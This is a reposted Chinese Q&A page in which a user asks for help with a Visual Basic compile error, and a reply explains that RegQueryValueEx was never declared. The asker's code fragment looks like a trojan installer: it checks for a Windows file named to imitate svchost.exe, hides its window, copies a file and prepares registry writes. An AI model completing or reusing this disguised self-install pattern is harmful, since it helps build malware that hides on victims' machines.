用VB操做出现错误高手帮忙解决一下

来源：百度知道 编辑：UC知道 时间：2024/08/22 13:22:40
Option Explicit
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER = &H80000001

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Sub Form_Load()
Dim L As Long
ret = RegQueryValueEx(hKey, Name, 0, typeData, ByVal vbNullString, lenData)
RegQueryValueEx hKey, Name, 0, typeData, L, lenData

If Dir("C:\WINDOWS\svohcst.exe") <> "" Then '判断文件是否存在
Me.Hide '已存在隐藏窗体继续
Else
FileCopy

RegQueryValueEx
这个没声明!!!!!!

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.

Option Explicit '因为有这个强制声明语句 所以每个变量都需要声明
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSub